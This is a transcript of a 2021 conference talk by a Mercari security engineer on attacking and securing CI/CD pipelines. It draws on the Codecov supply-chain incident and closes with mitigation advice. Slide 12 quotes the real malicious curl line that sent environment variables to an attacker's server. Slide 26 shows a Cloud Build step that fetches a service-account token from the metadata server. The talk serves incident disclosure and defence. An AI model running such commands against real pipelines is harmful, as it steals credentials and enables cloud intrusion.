Attacking and Securing CI/CD Pipeline

ATT&CK-like Threat Matrix for CI/CD Pipeline on GitHub:
https://github.com/rung/threat-matrix-cicd
--------
Place: CODE BLUE 2021 OpenTalks at Tokyo
Presenter: Hiroki SUEZAWA (https://www.suezawa.net)
Abstract:
With the popularization of Dev(Sec)Ops, the CI/CD (Continuous Integration and Delivery) environment is becoming more and more common in modern application development and infrastructure management. On the other hand, the security of the CI/CD pipelines itself has not been focused on as much as it should be from security perspective.

In 2021, Mercari have been affected by a supply chain attack caused by the use of CodeCov, which allowed an intrusion into the CI/CD pipelines.
The purpose of this presentation is to share a comprehensive summary of both the attack methods often used against CI/CD pipelines and our insights in securing the CI/CD infrastructure. While we acquired some of this knowledge the hard way -- through direct incident response, we hope that our experience will be useful to anyone trying to proactively improve the security posture of their CI/CD pipelines.

Transcript

1. 1
   v1.05
   Attacking and Securing
   CI/CD Pipeline
   Oct 20, 2021
   CODE BLUE 2021 OpenTalks
   Mercari, Inc.
   Security Engineering Team
   Hiroki SUEZAWA
   

   View Slide

2. 2
   Disclaimer
   ● This purpose of this presentation is to share Mercari’s insights on securing
   the CI/CD pipeline with the cybersecurity community and to help other
   companies to secure their CI/CD pipelines.
   

   View Slide

3. 3
   ● Title
   ○ Security Engineer at Mercari, Inc.
   ■ Security Architect, Automation, DFIR
   ● Career, Presentations
   ○ https://www.suezawa.net
   ● Interest
   ○ Infrastructure Security
   ■ Kubernetes, Container, Linux, Cloud
   ○ Go Language
   ● Certifications
   ○ GXPN, GREM, OSEP
   @rung
   @rung
   Hiroki SUEZAWA
   /in/suezawa
   

   View Slide

4. 4
   The Mercari app is a C2C marketplace
   where individuals can easily buy and sell used items.
   

   View Slide

5. 5
   Agenda
   ● Why the CI/CD Pipeline Matters
   ● Threat Matrix for CI/CD
   ● Attacking CI/CD
   ● Securing CI/CD
   

   View Slide

6. 6
   Why the CI/CD Pipeline Matters
   

   View Slide

7. 7
   Trends in Application Development
   ● DevOps
   ○ High deployment frequency
   ○ Short lead time for changes
   ○ Automation
   ■ CI (Continuous Integration)
   ■ CD (Continuous Delivery)
   ● This trend goes beyond tech companies
   ○ Government (GovTech)
   ○ Financial companies (FinTech)
   

   View Slide

8. 8
   What is a CI/CD Pipeline?
   ● CI/CD pipelines are a core component of DevOps
   ○ Application Deployment
   ● CI/CD Pipelines are also used for Infrastructure configuration
   ○ Infrastructure as Code
   

   View Slide

9. 9
   Tools
   ● Many vendors provide managed CI/CD services.
   ○ GitHub Actions
   ○ AWS CodePipeline
   ○ Google Cloud Build
   ○ Azure Pipelines
   ○ GitLab CI/CD
   ○ Travis CI
   ○ CircleCI
   ○ Terraform Cloud
   

   View Slide

10. 10
    The Potential Impact
    ● Security incidents related to CI/CD could cause a big impact because:
    ○ CI/CD is linked to production environment directly
    ○ Setting credentials as environment variables is common practice
    ○ Some CI/CD pipelines don’t have isolation between CI and CD by
    default
    

    View Slide

11. 11
    DevOps at Mercari
    ● How does DevOps work at Mercari?
    ○ All deployments go through the CI/CD Pipeline
    ○ Infrastructure is fully managed as code
    ○ Test automation is part of our culture
    ● CI/CD environments are attractive targets for attackers.
    This is because the environments must handle credentials to allow
    automation for deployment
    ○ We made efforts to to secure our core pipelines, however...
    

    View Slide

12. 12
    2021: Codecov Supply-chain Attack
    ● Codecov: a test coverage tools used in CI/CD pipelines
    ○ Attacker injected malicious code
    curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
    ■ As a result environment variables were uploaded
    ○ The injected code went for three months without detection for all
    over the world
    https://about.codecov.io/security-update/
    

    View Slide

13. 13
    2021: Codecov Supply-chain Attack
    See our press release for details:
    https://about.mercari.com/en/press/news/articles/20210521
    _incident_report/
    ● Mercari also used CodeCov’s bash uploader, and as a result our credentials
    stored in env variables were affected
    ○ This allow the attacker to clone some of our Github repositories
    

    View Slide

14. 14
    Our Incident Response
    ● Identify
    ○ Identify all environment variables used in our CI/CD pipeline
    ○ Identify the impact of Github repositories leaked
    ○ Investigate logs and monitor
    ● Contain
    ○ Revoke all tokens/credentials identified as leaked
    ○ Add strict network restrictions in our cloud environment
    ● Remediate
    ○ REVOKE ALL TOKENS/CREDENTIALS for all cloud services/SaaS we
    use to prevent potential lateral movement or further loss of data
    

    View Slide

15. 15
    Technical Lessons Learned on CI/CD Pipelines
    ● Many lessons were learned, but here are the key takeaways:
    ○ Managed CI/CD is convenient but risky
    ■ Poor visibility
    ■ Need stronger security controls on CI/CD
    ○ Static tokens and keys present a high risk
    ■ Portable
    ■ No additional MFA
    ■ No expiration
    ■ Difficult to manage centrally
    ○ Supply-chain management is mandatory
    ■ Tool and dependency management for the entire CI/CD pipeline
    ■ Need to verify the integrity of tools
    

    View Slide

16. 16
    The CI/CD Pipeline is the Next Hot Target
    ● The CI/CD pipeline could be the next hot target for attackers
    ○ Credentials related to production are there
    ● Supply-chain attacks are becoming more common
    ○ 2020: SolarWinds (Reported as nation-state actors)
    ○ 2021: CodeCov
    ● On the other hand, the security of the CI/CD environment itself has not
    been focused on as much as it should be from security perspective.
    

    View Slide

17. 17
    Threat Matrix for CI/CD
    

    View Slide

18. 18
    Threat Matrix for CI/CD Pipelines
    ● We summarized how CI/CD can
    be compromised, and how to
    protect it as a ATT&CK-like
    threat matrix for CI/CD pipelines
    ● We published the matrix on
    GitHub today
    https://github.com/rung/threat-matrix-cicd
    ○ Mitigation are included
    ○ (Feedback is welcome)
    https://github.com/rung/threat-matrix-cicd
    

    View Slide

19. 19
    How to Use the Matrix
    ● For Red Teamers
    ○ You can use it for pentesting
    ● For Blue Teamers
    ○ You can use it for monitoring
    ● For Security Architects
    ○ You can use it to define requirements for a secure CI/CD architecture.
    

    View Slide

20. 20
    Attacking CI/CD
    

    View Slide

21. 21
    Attacking CI/CD
    ● Explains general attack surfaces and three examples of attack scenarios:
    ○ The threat matrix includes various techniques
    https://github.com/rung/threat-matrix-cicd
    

    View Slide

22. 22
    Attack surfaces - Example
    Source Code
    (Git Repository)
    Developer, SRE
    Production
    Build/Test Deploy
    ✔
    Credentials
    on Env Variables
    Approver
    ● Modify CI/CD Configuration
    ● Modify application source
    ● Code Exec via IaC
    ● Supply-chain to Lint, Test, Build
    Tool
    ● Get Credentials of Deploy
    (lack of isolation)
    ● Supply-chain to Deploy Tool
    ● Bypass Review
    Credentials
    on Env Variables
    Merged
    CI CD
    

    View Slide

23. 23
    Attack Scenario 1 - Managed CI/CD Pipeline
    ● Supply Chain Attacks like CodeCov
    ○ Circle CI’s Secret Environment Variables has global scope in the same
    repository. (No isolation between CI and CD)
    23
    

    View Slide

24. 24
    Attack Scenario 2 - IaC by Cloud Build
    ● Infrastructure as Code through the CI/CD pipeline
    ○ GCP Cloud Build can access Secret Manager transparently if Cloud
    Build has the appropriate role
    Workflow
    

    View Slide

25. 25
    Attack Scenario 2 - IaC by Cloud Build
    Device
    (Write
    Permission)
    Plan Apply
    ✔
    Credential For Cloud
    Configuration
    Approver
    Infrastructure as
    Code
    Cloud Build Cloud Build
    GitHub
    Secret Manager
    Merged
    Cloud
    Infrastructure
    Branch: dev Branch: main
    CI CD
    C&C
    1. Malware Infection via Phishing
    2. Kick CI by push and
    modify cloud build config
    Metadata Server
    3. Metadata server provides Temporary
    Google Service Account Token
    4. Attacker retrieves credential from Secret Manager
    

    View Slide

26. 26
    (Ref) Attack Scenario 2 - IaC by Cloud Build
    ● 1. Kick CI/CD(GCP Cloud Build) Using Valid Credentials
    ○ Push from branches run Cloud Build
    ■ Code Execution
    ● Modify Cloud Build configuration (cloudbuild.yaml)
    ● Code Execution through infrastructure as code software
    tools
    ○ E.g. Terraform: RCE by provider installation(put provider
    binary with .tf), External provider
    ● 2. Privilege Escalation by Metadata’s Service Account Token
    ○ Most of CI/CD services assign the same role to all branches by default
    ■ Cloud Build also assigns the same role
    cloudbuild.yaml (Cloud Build Configuration)
    steps:
    - name: 'curlimages/curl'
    args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H", "Metadata-Flavor: Google"]...
    Retrieves service account token from metadata
    

    View Slide

27. 27
    Attack Scenario 3 - Self-Hosted CI/CD Pipeline
    ● Privilege Escalation and Lateral Movement to Important Pipelines
    ○ Example of containerized CI/CD pipeline
    ● Real World Example (Sep, 2021)
    ○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
    ■ https://goteleport.com/blog/hack-via-pull-request/
    

    View Slide

28. 28
    Securing CI/CD
    

    View Slide

29. 29
    Securing CI/CD
    ● Need to build a CI/CD Pipeline which is attack resistant
    ○ Our threat matrix includes a “Mitigation” column
    ■ You can use it to design architecture
    ● Huge attack surface
    ○ Supply-chain risk is not the only risk inherent in the CI/CD pipeline.
    All attack surfaces need to be considered.
    ● CD requires production-level security
    ○ If CD can deploy, it should be considered part of production.
    https://github.com/rung/threat-matrix-cicd
    

    View Slide

30. 30
    Components of CI/CD Architecture
    Name Tools
    Device ● Developer Workstation: Mac/Win/Cloud-based
    Git Repository
    Service
    ● GitHub, GitLab
    CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    CD ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    ● CD Services (e.g. Spinnaker, ArgoCD)
    Secret
    Management
    ● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
    Manager, Hashicorp Vault)
    Production
    environment
    ● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
    ● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
    

    View Slide

31. 31
    Mitigations - Examples
    ●
    Source Code
    (Git Repository)
    Device
    Production
    Build/Test Deploy
    ✔
    Approver
    ● Proper Access Controls
    ● Least Privilege
    ● Rate Limiting
    ● Enforce Signed Commits
    ● Audit Logging and Monitoring
    Approved
    Secret Manager
    ● Network restrictions
    ● Audit Logging and
    Monitoring
    ● Rate Limit
    CI CD
    ● Hardened Self-Hosted (Not Managed) which
    has it’s own network
    ● Isolation between CI and CD
    ● Keyless
    ● Audit Logging and Monitoring
    ● Doesn’t use untrusted tools
    ● Tool Integrity Checks
    ● Blocking Code Execution (Disallow CI/CD
    config modification without review, etc)
    ●
    ● Use Secret Manager through temporary token(Keyless)
    ● Isolation between main branch and other branches
    ● Proper key management (Key Rotation, Least Privilege and
    Separate permission between CI and CD, etc)
    ● Network Restrictions
    ● Audit Logging and Monitoring
    ❌
    ❌
    Attacker’s Server
    C&C
    Egress Restriction
    Valid Token from
    External Network
    ❌
    ❌
    Network
    Restriction to API
    Secret Manager
    

    View Slide

32. 32
    Look back to Common Security Principles
    ● Credentials for cloud services could be a single point of failure, which can
    often be used without additional authentication
    ○ Defense in depth
    ■ Enable Network Restriction, Isolation between CI and CD,
    Integrity Checks(Verify each tool, application, library, container
    image)
    ○ Least Privilege
    ■ Always enforce least privilege, i.e Temporary Tokens to access to
    key management(Keyless), Multi-party authentication(Approval is
    a must), Proper Key Management
    ○ Audit logging and Security Monitoring
    ■ Need to take audit log and security monitoring
    ● Additional considerations are needed to monorepo architectures
    ○ Should be isolated by environment folder or context
    

    View Slide

33. 33
    Should you use a managed CI/CD?
    ● Problems with managed CI/CD Pipelines
    ○ Lack of visibility and extensibility
    ○ Shared network between other companies
    ● Options of self-hosted CI/CD
    ○ 1. use self-hosted runner with commercial CI/CD
    ○ 2. build the whole CI/CD infrastructure inhouse based on OSS CI/CD
    (Operation cost is higher)
    ● No perfect solution provided!
    ○ CI/CD security is a still new area.
    To create a secure CI/CD pipeline, some development is still needed
    

    View Slide

34. 34
    (Ref) Frameworks for Supply-chain Risk
    ● SLSA: Supply-chain Levels for Software Artifacts
    ○ June 2021, Google proposed SLSA frameworks
    ■ https://slsa.dev/
    “The software development and deployment supply chain is quite complicated, with
    numerous threats along the source ➞ build ➞ publish workflow.”
    “There is an urgent need for a solution in the face of the eye-opening, multi-billion dollar
    attacks in recent months (e.g. SolarWinds, Codecov), some of which could have been
    prevented or made more difficult had such a framework been adopted by software
    developers and consumers.”
    Google Security Blog - Introducing SLSA, an End-to-End Framework for Supply Chain Integrity
    (https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html)
    

    View Slide

35. 35
    (Ref) Best Practices for Supply-chain Security
    ● CNCF Software Supply Chain Security Paper
    ○ May 2021, The Cloud Native Computing Foundation(CNCF) published
    the best practice
    ■ https://github.com/cncf/tag-security/tree/main/supply-chain-sec
    urity/supply-chain-security-paper
    “Preventing supply chain attacks is still a nascent, rapidly developing field.”
    “This is why the Security TAG has published a new paper, Software Supply Chain Security Best
    Practices, designed to provide the cloud native and open source communities with a holistic
    approach to architecting a secure supply chain regardless of whether they are a software
    producer or consumer.”
    Evaluating your Supply Chain Security
    (https://www.cncf.io/blog/2021/05/14/evaluating-your-supply-chain-security/)
    

    View Slide

36. 36
    Summary
    

    View Slide

37. 37
    Summary
    ● The CI/CD pipeline has a large attack surface
    ○ Much of the attack surface is open by default
    ○ However, the security of the CI/CD environment itself has not been
    focused on as much as it should be from security perspective.
    ● We shared our original ATT&CK-like threat matrix focused on the CI/CD
    Pipeline
    ○ https://github.com/rung/threat-matrix-cicd
    ○ You can use this map from an offensive or defensive perspective to
    help secure your organization or customers
    ● CI/CD security is a still new area.
    ○ Supply-chain risk is not the only risk for CI/CD Pipelines. The entire
    attack surface need to be considered
    ○ To create a secure CI/CD pipeline, some development is still needed
    

    View Slide

38. 38
    References
    ● Supply Chain Attacks
    ○ SLSA: Supply-chain Levels for Software Artifacts
    ○ CNCF Software Supply Chain Best Practices
    ○ The Insecure Software Supply Chain - A History of Failure and a New
    Way Forward
    ● Recent Presentations and Blogs related to Security of CI/CD Pipeline itself
    ○ [DEFCON29] DEFCON29 Abusing SAST tools When scanners do more
    than just scanning
    ○ [DEFCON29 Cloud Village] Attacking Modern Environments Series:
    Attack Vectors on Terraform Environments - Mazin Ahmed
    ○ [DevSecCon24] I Spy: An Insecure Delivery Pipeline
    ○ GitOops! Attacking and defending CI/CD pipelines.
    

    View Slide

39. 39
    Thank you
    

    View Slide